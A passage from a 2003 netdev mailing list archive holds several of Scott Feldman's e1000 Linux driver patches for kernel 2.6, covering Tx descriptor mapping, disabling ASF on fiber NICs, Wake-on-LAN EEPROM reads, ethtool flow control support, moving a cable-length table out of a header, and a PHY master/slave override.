need.*/ + i = first; + + while(count--) { + buffer_info = &tx_ring->buffer_info[i]; + if(buffer_info->dma) { + pci_unmap_page(adapter->pdev, + buffer_info->dma, + buffer_info->length, + PCI_DMA_TODEVICE); + buffer_info->dma = 0; + } + if(++i == tx_ring->count) i = 0; + } + + return 0; + } + i = (i == 0) ? tx_ring->count - 1 : i - 1; tx_ring->buffer_info[i].skb = skb; tx_ring->buffer_info[first].next_to_watch = i; @@ -1672,29 +1725,19 @@ no_fifo_stall_required: return 0; } -/* Tx Descriptors needed, worst case */ -#define TXD_USE_COUNT(S) (((S) >> E1000_MAX_TXD_PWR) + \ - (((S) & (E1000_MAX_DATA_PER_TXD - 1)) ? 1 : 0)) -#define DESC_NEEDED TXD_USE_COUNT(MAX_JUMBO_FRAME_SIZE) + \ - MAX_SKB_FRAGS * TXD_USE_COUNT(PAGE_SIZE) + 1 - static int e1000_xmit_frame(struct sk_buff *skb, struct net_device *netdev) { struct e1000_adapter *adapter = netdev->priv; unsigned int first; unsigned int tx_flags = 0; + int count; if(skb->len <= 0) { dev_kfree_skb_any(skb); return 0; } - if(E1000_DESC_UNUSED(&adapter->tx_ring) < DESC_NEEDED) { - netif_stop_queue(netdev); - return 1; - } - if(adapter->hw.mac_type == e1000_82547) { if(e1000_82547_fifo_workaround(adapter, skb)) { netif_stop_queue(netdev); @@ -1715,7 +1758,12 @@ e1000_xmit_frame(struct sk_buff *skb, st else if(e1000_tx_csum(adapter, skb)) tx_flags |= E1000_TX_FLAGS_CSUM; - e1000_tx_queue(adapter, e1000_tx_map(adapter, skb, first), tx_flags); + if((count = e1000_tx_map(adapter, skb, first))) + e1000_tx_queue(adapter, count, tx_flags); + else { + netif_stop_queue(netdev); + return 1; + } netdev->trans_start = jiffies; From scott.feldman@intel.com Mon Sep 8 19:49:46 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 19:50:18 -0700 (PDT) Received: from hermes.py.intel.com (hermes.py.intel.com [146.152.216.3]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h892njx4017085 for ; Mon, 8 Sep 2003 19:49:45 -0700 Received: from petasus.py.intel.com (petasus.py.intel.com [146.152.221.4]) by hermes.py.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h892iwu01567 for ; Tue, 9 Sep 2003 02:44:58 GMT Received: from fmsmsxvs041.fm.intel.com (fmsmsxvs041.fm.intel.com [132.233.42.126]) by petasus.py.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h892nPC27355 for ; Tue, 9 Sep 2003 02:49:25 GMT Received: from [134.134.3.75] ([134.134.3.75]) by fmsmsxvs041.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090819493800337 ; Mon, 08 Sep 2003 19:49:38 -0700 Date: Mon, 8 Sep 2003 20:14:17 -0700 (PDT) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com Subject: [e1000 2.6 3/11] Turn off ASF support on Fiber nics Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5711 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 1557 Lines: 42 * Turn off ASF support on fiber nics. Wasn't tested and isn't known to work, so disable before someone hurts themselves. ---------------- diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_main.c linux-2.6.0-test4/drivers/net/e1000.new/e1000_main.c --- linux-2.6.0-test4/drivers/net/e1000/e1000_main.c 2003-08-22 16:54:23.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_main.c 2003-09-08 09:13:11.000000000 -0700 @@ -534,7 +534,8 @@ e1000_remove(struct pci_dev *pdev) struct e1000_adapter *adapter = netdev->priv; uint32_t manc; - if(adapter->hw.mac_type >= e1000_82540) { + if(adapter->hw.mac_type >= e1000_82540 && + adapter->hw.media_type == e1000_media_type_copper) { manc = E1000_READ_REG(&adapter->hw, MANC); if(manc & E1000_MANC_SMBUS_EN) { manc |= E1000_MANC_ARP_EN; @@ -2797,7 +2798,8 @@ e1000_suspend(struct pci_dev *pdev, uint pci_save_state(pdev, adapter->pci_state); - if(adapter->hw.mac_type >= e1000_82540) { + if(adapter->hw.mac_type >= e1000_82540 && + adapter->hw.media_type == e1000_media_type_copper) { manc = E1000_READ_REG(&adapter->hw, MANC); if(manc & E1000_MANC_SMBUS_EN) { manc |= E1000_MANC_ARP_EN; @@ -2835,7 +2837,8 @@ e1000_resume(struct pci_dev *pdev) netif_device_attach(netdev); - if(adapter->hw.mac_type >= e1000_82540) { + if(adapter->hw.mac_type >= e1000_82540 && + adapter->hw.media_type == e1000_media_type_copper) { manc = E1000_READ_REG(&adapter->hw, MANC); manc &= ~(E1000_MANC_ARP_EN); E1000_WRITE_REG(&adapter->hw, MANC, manc); From scott.feldman@intel.com Mon Sep 8 19:49:52 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 19:50:25 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h892nnx4017111 for ; Mon, 8 Sep 2003 19:49:52 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h892lPD20790 for ; Tue, 9 Sep 2003 02:47:25 GMT Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h892iUU06158 for ; Tue, 9 Sep 2003 02:44:31 GMT Received: from [134.134.3.75] ([134.134.3.75]) by fmsmsxvs043.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090819494232502 ; Mon, 08 Sep 2003 19:49:42 -0700 Date: Mon, 8 Sep 2003 20:14:21 -0700 (PDT) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com Subject: [e1000 2.6 4/11] read correct bit from EEPROM for getting WoL settings Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5712 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 1984 Lines: 57 * Bug fix: read the correct bit from the EEPROM that controls the initial setting for WoL after a reset. --------------- diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000.h linux-2.6.0-test4/drivers/net/e1000.new/e1000.h --- linux-2.6.0-test4/drivers/net/e1000/e1000.h 2003-08-22 16:50:56.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000.h 2003-09-08 09:13:16.000000000 -0700 @@ -122,7 +122,7 @@ struct e1000_adapter; #define E1000_RX_BUFFER_WRITE 16 /* Must be power of 2 */ #define AUTO_ALL_MODES 0 -#define E1000_EEPROM_APME 4 +#define E1000_EEPROM_APME 0x0400 /* only works for sizes that are powers of 2 */ #define E1000_ROUNDUP(i, size) ((i) = (((i) + (size) - 1) & ~((size) - 1))) diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_main.c linux-2.6.0-test4/drivers/net/e1000.new/e1000_main.c --- linux-2.6.0-test4/drivers/net/e1000/e1000_main.c 2003-08-22 16:54:23.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_main.c 2003-09-08 09:13:11.000000000 -0700 @@ -494,12 +494,28 @@ e1000_probe(struct pci_dev *pdev, * enable the ACPI Magic Packet filter */ - e1000_read_eeprom(&adapter->hw, EEPROM_INIT_CONTROL2_REG,1, &eeprom_data); - if((adapter->hw.mac_type >= e1000_82544) && - (eeprom_data & E1000_EEPROM_APME)) + switch(adapter->hw.mac_type) { + case e1000_82542_rev2_0: + case e1000_82542_rev2_1: + case e1000_82543: + break; + case e1000_82546: + case e1000_82546_rev_3: + if((E1000_READ_REG(&adapter->hw, STATUS) & E1000_STATUS_FUNC_1) + && (adapter->hw.media_type == e1000_media_type_copper)) { + e1000_read_eeprom(&adapter->hw, + EEPROM_INIT_CONTROL3_PORT_B, 1, &eeprom_data); + break; + } + /* Fall Through */ + default: + e1000_read_eeprom(&adapter->hw, + EEPROM_INIT_CONTROL3_PORT_A, 1, &eeprom_data); + break; + } + if(eeprom_data & E1000_EEPROM_APME) adapter->wol |= E1000_WUFC_MAG; - /* reset the hardware with the new settings */ e1000_reset(adapter); From scott.feldman@intel.com Mon Sep 8 19:49:56 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 19:50:28 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h892ntx4017138 for ; Mon, 8 Sep 2003 19:49:55 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h892lUD20821 for ; Tue, 9 Sep 2003 02:47:30 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h892iaU06190 for ; Tue, 9 Sep 2003 02:44:36 GMT Received: from [134.134.3.75] ([134.134.3.75]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090819494706453 ; Mon, 08 Sep 2003 19:49:47 -0700 Date: Mon, 8 Sep 2003 20:14:26 -0700 (PDT) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com Subject: [e1000 2.6 5/11] add ethtool flow control support Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5713 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 9506 Lines: 245 * Add ethtool flow control support --------------- diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_ethtool.c linux-2.6.0-test4/drivers/net/e1000.new/e1000_ethtool.c --- linux-2.6.0-test4/drivers/net/e1000/e1000_ethtool.c 2003-08-22 16:55:33.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_ethtool.c 2003-09-08 09:13:10.000000000 -0700 @@ -190,6 +190,55 @@ e1000_ethtool_sset(struct e1000_adapter return 0; } +static int +e1000_ethtool_gpause(struct e1000_adapter *adapter, + struct ethtool_pauseparam *epause) +{ + struct e1000_hw *hw = &adapter->hw; + + epause->autoneg = + (adapter->fc_autoneg ? AUTONEG_ENABLE : AUTONEG_DISABLE); + + if(hw->fc == e1000_fc_rx_pause) + epause->rx_pause = 1; + else if(hw->fc == e1000_fc_tx_pause) + epause->tx_pause = 1; + else if(hw->fc == e1000_fc_full) { + epause->rx_pause = 1; + epause->tx_pause = 1; + } + + return 0; +} + +static int +e1000_ethtool_spause(struct e1000_adapter *adapter, + struct ethtool_pauseparam *epause) +{ + struct e1000_hw *hw = &adapter->hw; + + adapter->fc_autoneg = epause->autoneg; + + if(epause->rx_pause && epause->tx_pause) + hw->fc = e1000_fc_full; + else if(epause->rx_pause && !epause->tx_pause) + hw->fc = e1000_fc_rx_pause; + else if(!epause->rx_pause && epause->tx_pause) + hw->fc = e1000_fc_tx_pause; + else if(!epause->rx_pause && !epause->tx_pause) + hw->fc = e1000_fc_none; + + hw->original_fc = hw->fc; + + if(netif_running(adapter->netdev)) { + e1000_down(adapter); + e1000_up(adapter); + } else + e1000_reset(adapter); + + return 0; +} + static void e1000_ethtool_gdrvinfo(struct e1000_adapter *adapter, struct ethtool_drvinfo *drvinfo) @@ -1449,6 +1498,19 @@ err_geeprom_ioctl: addr += offsetof(struct ethtool_eeprom, data); return e1000_ethtool_seeprom(adapter, &eeprom, addr); } + case ETHTOOL_GPAUSEPARAM: { + struct ethtool_pauseparam epause = {ETHTOOL_GPAUSEPARAM}; + e1000_ethtool_gpause(adapter, &epause); + if(copy_to_user(addr, &epause, sizeof(epause))) + return -EFAULT; + return 0; + } + case ETHTOOL_SPAUSEPARAM: { + struct ethtool_pauseparam epause; + if(copy_from_user(&epause, addr, sizeof(epause))) + return -EFAULT; + return e1000_ethtool_spause(adapter, &epause); + } case ETHTOOL_GSTATS: { struct { struct ethtool_stats eth_stats; diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000.h linux-2.6.0-test4/drivers/net/e1000.new/e1000.h --- linux-2.6.0-test4/drivers/net/e1000/e1000.h 2003-08-22 16:50:56.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000.h 2003-09-08 09:13:16.000000000 -0700 @@ -180,6 +180,7 @@ struct e1000_adapter { spinlock_t stats_lock; atomic_t irq_sem; struct work_struct tx_timeout_task; + uint8_t fc_autoneg; struct timer_list blink_timer; unsigned long led_status; diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_hw.c linux-2.6.0-test4/drivers/net/e1000.new/e1000_hw.c --- linux-2.6.0-test4/drivers/net/e1000/e1000_hw.c 2003-08-22 17:01:40.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_hw.c 2003-09-08 09:13:11.000000000 -0700 @@ -39,7 +39,6 @@ static int32_t e1000_adjust_serdes_amplitude(struct e1000_hw *hw); static int32_t e1000_phy_force_speed_duplex(struct e1000_hw *hw); static int32_t e1000_config_mac_to_phy(struct e1000_hw *hw); -static int32_t e1000_force_mac_fc(struct e1000_hw *hw); static void e1000_raise_mdi_clk(struct e1000_hw *hw, uint32_t *ctrl); static void e1000_lower_mdi_clk(struct e1000_hw *hw, uint32_t *ctrl); static void e1000_shift_out_mdi_bits(struct e1000_hw *hw, uint32_t data, uint16_t count); @@ -1629,7 +1629,7 @@ e1000_config_mac_to_phy(struct e1000_hw * by the PHY rather than the MAC. Software must also configure these * bits when link is forced on a fiber connection. *****************************************************************************/ -static int32_t +int32_t e1000_force_mac_fc(struct e1000_hw *hw) { uint32_t ctrl; @@ -1682,7 +1681,7 @@ e1000_force_mac_fc(struct e1000_hw *hw) ctrl &= (~E1000_CTRL_TFCE); E1000_WRITE_REG(hw, CTRL, ctrl); - return 0; + return E1000_SUCCESS; } /****************************************************************************** diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_hw.h linux-2.6.0-test4/drivers/net/e1000.new/e1000_hw.h --- linux-2.6.0-test4/drivers/net/e1000/e1000_hw.h 2003-08-22 16:58:59.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_hw.h 2003-09-08 09:13:16.000000000 -0700 @@ -264,6 +264,7 @@ int32_t e1000_phy_setup_autoneg(struct e int32_t e1000_check_for_link(struct e1000_hw *hw); int32_t e1000_get_speed_and_duplex(struct e1000_hw *hw, uint16_t * speed, uint16_t * duplex); int32_t e1000_wait_autoneg(struct e1000_hw *hw); +int32_t e1000_force_mac_fc(struct e1000_hw *hw); /* PHY */ int32_t e1000_read_phy_reg(struct e1000_hw *hw, uint32_t reg_addr, uint16_t *phy_data); diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_param.c linux-2.6.0-test4/drivers/net/e1000.new/e1000_param.c --- linux-2.6.0-test4/drivers/net/e1000/e1000_param.c 2003-08-22 16:57:59.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_param.c 2003-09-08 09:13:12.000000000 -0700 @@ -140,7 +140,7 @@ E1000_PARAM(FlowControl, "Flow Control s * Valid Range: 0, 1 * - 0 - disables all checksum offload * - 1 - enables receive IP/TCP/UDP checksum offload - * on 82543 based NICs + * on 82543 and newer -based NICs * * Default Value: 1 */ @@ -602,7 +602,7 @@ e1000_check_copper_options(struct e1000_ switch (speed + dplx) { case 0: - adapter->hw.autoneg = 1; + adapter->hw.autoneg = adapter->fc_autoneg = 1; if(Speed[bd] != OPTION_UNSET || Duplex[bd] != OPTION_UNSET) printk(KERN_INFO "Speed and duplex autonegotiation enabled\n"); @@ -610,14 +610,14 @@ e1000_check_copper_options(struct e1000_ case HALF_DUPLEX: printk(KERN_INFO "Half Duplex specified without Speed\n"); printk(KERN_INFO "Using Autonegotiation at Half Duplex only\n"); - adapter->hw.autoneg = 1; + adapter->hw.autoneg = adapter->fc_autoneg = 1; adapter->hw.autoneg_advertised = ADVERTISE_10_HALF | ADVERTISE_100_HALF; break; case FULL_DUPLEX: printk(KERN_INFO "Full Duplex specified without Speed\n"); printk(KERN_INFO "Using Autonegotiation at Full Duplex only\n"); - adapter->hw.autoneg = 1; + adapter->hw.autoneg = adapter->fc_autoneg = 1; adapter->hw.autoneg_advertised = ADVERTISE_10_FULL | ADVERTISE_100_FULL | ADVERTISE_1000_FULL; @@ -625,38 +625,38 @@ e1000_check_copper_options(struct e1000_ case SPEED_10: printk(KERN_INFO "10 Mbps Speed specified without Duplex\n"); printk(KERN_INFO "Using Autonegotiation at 10 Mbps only\n"); - adapter->hw.autoneg = 1; + adapter->hw.autoneg = adapter->fc_autoneg = 1; adapter->hw.autoneg_advertised = ADVERTISE_10_HALF | ADVERTISE_10_FULL; break; case SPEED_10 + HALF_DUPLEX: printk(KERN_INFO "Forcing to 10 Mbps Half Duplex\n"); - adapter->hw.autoneg = 0; + adapter->hw.autoneg = adapter->fc_autoneg = 0; adapter->hw.forced_speed_duplex = e1000_10_half; adapter->hw.autoneg_advertised = 0; break; case SPEED_10 + FULL_DUPLEX: printk(KERN_INFO "Forcing to 10 Mbps Full Duplex\n"); - adapter->hw.autoneg = 0; + adapter->hw.autoneg = adapter->fc_autoneg = 0; adapter->hw.forced_speed_duplex = e1000_10_full; adapter->hw.autoneg_advertised = 0; break; case SPEED_100: printk(KERN_INFO "100 Mbps Speed specified without Duplex\n"); printk(KERN_INFO "Using Autonegotiation at 100 Mbps only\n"); - adapter->hw.autoneg = 1; + adapter->hw.autoneg = adapter->fc_autoneg = 1; adapter->hw.autoneg_advertised = ADVERTISE_100_HALF | ADVERTISE_100_FULL; break; case SPEED_100 + HALF_DUPLEX: printk(KERN_INFO "Forcing to 100 Mbps Half Duplex\n"); - adapter->hw.autoneg = 0; + adapter->hw.autoneg = adapter->fc_autoneg = 0; adapter->hw.forced_speed_duplex = e1000_100_half; adapter->hw.autoneg_advertised = 0; break; case SPEED_100 + FULL_DUPLEX: printk(KERN_INFO "Forcing to 100 Mbps Full Duplex\n"); - adapter->hw.autoneg = 0; + adapter->hw.autoneg = adapter->fc_autoneg = 0; adapter->hw.forced_speed_duplex = e1000_100_full; adapter->hw.autoneg_advertised = 0; break; @@ -664,20 +664,20 @@ e1000_check_copper_options(struct e1000_ printk(KERN_INFO "1000 Mbps Speed specified without Duplex\n"); printk(KERN_INFO "Using Autonegotiation at 1000 Mbps Full Duplex only\n"); - adapter->hw.autoneg = 1; + adapter->hw.autoneg = adapter->fc_autoneg = 1; adapter->hw.autoneg_advertised = ADVERTISE_1000_FULL; break; case SPEED_1000 + HALF_DUPLEX: printk(KERN_INFO "Half Duplex is not supported at 1000 Mbps\n"); printk(KERN_INFO "Using Autonegotiation at 1000 Mbps Full Duplex only\n"); - adapter->hw.autoneg = 1; + adapter->hw.autoneg = adapter->fc_autoneg = 1; adapter->hw.autoneg_advertised = ADVERTISE_1000_FULL; break; case SPEED_1000 + FULL_DUPLEX: printk(KERN_INFO "Using Autonegotiation at 1000 Mbps Full Duplex only\n"); - adapter->hw.autoneg = 1; + adapter->hw.autoneg = adapter->fc_autoneg = 1; adapter->hw.autoneg_advertised = ADVERTISE_1000_FULL; break; default: From scott.feldman@intel.com Mon Sep 8 19:50:16 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 19:50:40 -0700 (PDT) Received: from hermes.py.intel.com (hermes.py.intel.com [146.152.216.3]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h892oFx4017309 for ; Mon, 8 Sep 2003 19:50:15 -0700 Received: from petasus.py.intel.com (petasus.py.intel.com [146.152.221.4]) by hermes.py.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h892jSu01697 for ; Tue, 9 Sep 2003 02:45:28 GMT Received: from fmsmsxvs041.fm.intel.com (fmsmsxvs041.fm.intel.com [132.233.42.126]) by petasus.py.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h892nsC27479 for ; Tue, 9 Sep 2003 02:49:54 GMT Received: from [134.134.3.75] ([134.134.3.75]) by fmsmsxvs041.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090819500729695 ; Mon, 08 Sep 2003 19:50:07 -0700 Date: Mon, 8 Sep 2003 20:14:46 -0700 (PDT) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com Subject: [e1000 2.6 8/11] move static to table from .h to .c Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5715 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 5059 Lines: 102 * Move static table from hw.h to hw.c to avoid creating a copy of table everytime hw.h is included.in .c. ---------------- diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_hw.c linux-2.6.0-test4/drivers/net/e1000.new/e1000_hw.c --- linux-2.6.0-test4/drivers/net/e1000/e1000_hw.c 2003-08-22 17:01:40.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_hw.c 2003-09-08 09:13:11.000000000 -0700 @@ -64,6 +64,17 @@ static int32_t e1000_write_eeprom_microw static int32_t e1000_id_led_init(struct e1000_hw * hw); static int32_t e1000_set_vco_speed(struct e1000_hw *hw); +/* IGP cable length table */ +static const +uint16_t e1000_igp_cable_length_table[IGP01E1000_AGC_LENGTH_TABLE_SIZE] = + { 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, + 5, 10, 10, 10, 10, 10, 10, 10, 20, 20, 20, 20, 20, 25, 25, 25, + 25, 25, 25, 25, 30, 30, 30, 30, 40, 40, 40, 40, 40, 40, 40, 40, + 40, 50, 50, 50, 50, 50, 50, 50, 60, 60, 60, 60, 60, 60, 60, 60, + 60, 70, 70, 70, 70, 70, 70, 80, 80, 80, 80, 80, 80, 90, 90, 90, + 90, 90, 90, 90, 90, 90, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, + 100, 100, 100, 100, 110, 110, 110, 110, 110, 110, 110, 110, 110, 110, 110, 110, + 110, 110, 110, 110, 110, 110, 120, 120, 120, 120, 120, 120, 120, 120, 120, 120}; /****************************************************************************** @@ -4601,19 +4601,16 @@ e1000_get_cable_length(struct e1000_hw * break; } } else if(hw->phy_type == e1000_phy_igp) { /* For IGP PHY */ - uint16_t agc_reg_array[IGP01E1000_PHY_AGC_NUM] = {IGP01E1000_PHY_AGC_A, + uint16_t agc_reg_array[IGP01E1000_PHY_CHANNEL_NUM] = + {IGP01E1000_PHY_AGC_A, IGP01E1000_PHY_AGC_B, IGP01E1000_PHY_AGC_C, IGP01E1000_PHY_AGC_D}; /* Read the AGC registers for all channels */ - for(i = 0; i < IGP01E1000_PHY_AGC_NUM; i++) { - if(e1000_write_phy_reg(hw, IGP01E1000_PHY_PAGE_SELECT, - agc_reg_array[i]) != E1000_SUCCESS) - return -E1000_ERR_PHY; - if(e1000_read_phy_reg(hw, agc_reg_array[i] & - IGP01E1000_PHY_PAGE_SELECT, &phy_data) != - E1000_SUCCESS) - return -E1000_ERR_PHY; + for(i = 0; i < IGP01E1000_PHY_CHANNEL_NUM; i++) { + + if((ret_val = e1000_read_phy_reg(hw, agc_reg_array[i], &phy_data))) + return ret_val; cur_agc = phy_data >> IGP01E1000_AGC_LENGTH_SHIFT; @@ -4629,20 +4637,15 @@ e1000_get_cable_length(struct e1000_hw * min_agc = cur_agc; } - /* Return to page 0 */ - if(e1000_write_phy_reg(hw, IGP01E1000_PHY_PAGE_SELECT, 0x0) != - E1000_SUCCESS) - return -E1000_ERR_PHY; - /* Remove the minimal AGC result for length < 50m */ - if(agc_value < IGP01E1000_PHY_AGC_NUM * e1000_igp_cable_length_50) { + if(agc_value < IGP01E1000_PHY_CHANNEL_NUM * e1000_igp_cable_length_50) { agc_value -= min_agc; /* Get the average length of the remaining 3 channels */ - agc_value /= (IGP01E1000_PHY_AGC_NUM - 1); + agc_value /= (IGP01E1000_PHY_CHANNEL_NUM - 1); } else { /* Get the average length of all the 4 channels. */ - agc_value /= IGP01E1000_PHY_AGC_NUM; + agc_value /= IGP01E1000_PHY_CHANNEL_NUM; } /* Set the range of the calculated length. */ diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_hw.h linux-2.6.0-test4/drivers/net/e1000.new/e1000_hw.h --- linux-2.6.0-test4/drivers/net/e1000/e1000_hw.h 2003-08-22 16:58:59.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_hw.h 2003-09-08 09:13:16.000000000 -0700 @@ -2053,18 +2053,6 @@ struct e1000_hw { /* The precision of the length is +/- 10 meters */ #define IGP01E1000_AGC_RANGE 10 -/* IGP cable length table */ -static const -uint16_t e1000_igp_cable_length_table[IGP01E1000_AGC_LENGTH_TABLE_SIZE] = - { 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, - 5, 10, 10, 10, 10, 10, 10, 10, 20, 20, 20, 20, 20, 25, 25, 25, - 25, 25, 25, 25, 30, 30, 30, 30, 40, 40, 40, 40, 40, 40, 40, 40, - 40, 50, 50, 50, 50, 50, 50, 50, 60, 60, 60, 60, 60, 60, 60, 60, - 60, 70, 70, 70, 70, 70, 70, 80, 80, 80, 80, 80, 80, 90, 90, 90, - 90, 90, 90, 90, 90, 90, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, - 100, 100, 100, 100, 110, 110, 110, 110, 110, 110, 110, 110, 110, 110, 110, 110, - 110, 110, 110, 110, 110, 110, 120, 120, 120, 120, 120, 120, 120, 120, 120, 120}; - /* IGP01E1000 PCS Initialization register */ /* bits 3:6 in the PCS registers stores the channels polarity */ #define IGP01E1000_PHY_POLARITY_MASK 0x0078 From scott.feldman@intel.com Mon Sep 8 19:50:22 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 19:50:41 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h892oKx4017358 for ; Mon, 8 Sep 2003 19:50:21 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h892luD20885 for ; Tue, 9 Sep 2003 02:47:56 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h892j1U06289 for ; Tue, 9 Sep 2003 02:45:01 GMT Received: from [134.134.3.75] ([134.134.3.75]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090819501330378 ; Mon, 08 Sep 2003 19:50:13 -0700 Date: Mon, 8 Sep 2003 20:14:52 -0700 (PDT) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com Subject: [e1000 2.6 9/11] Add PHY master/slave #define override Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5717 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 1431 Lines: 36 * Add PHY master/slave #define override to address link issues with 82541/7 (rev2) against some low-end switches. Forcing master will improve the time-to-link against these switches. ---------------- diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000.h linux-2.6.0-test4/drivers/net/e1000.new/e1000.h --- linux-2.6.0-test4/drivers/net/e1000/e1000.h 2003-08-22 16:50:56.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000.h 2003-09-08 09:13:16.000000000 -0700 @@ -123,6 +123,11 @@ struct e1000_adapter; #define AUTO_ALL_MODES 0 #define E1000_EEPROM_APME 0x0400 + +#ifndef E1000_MASTER_SLAVE +/* Switch to override PHY master/slave setting */ +#define E1000_MASTER_SLAVE 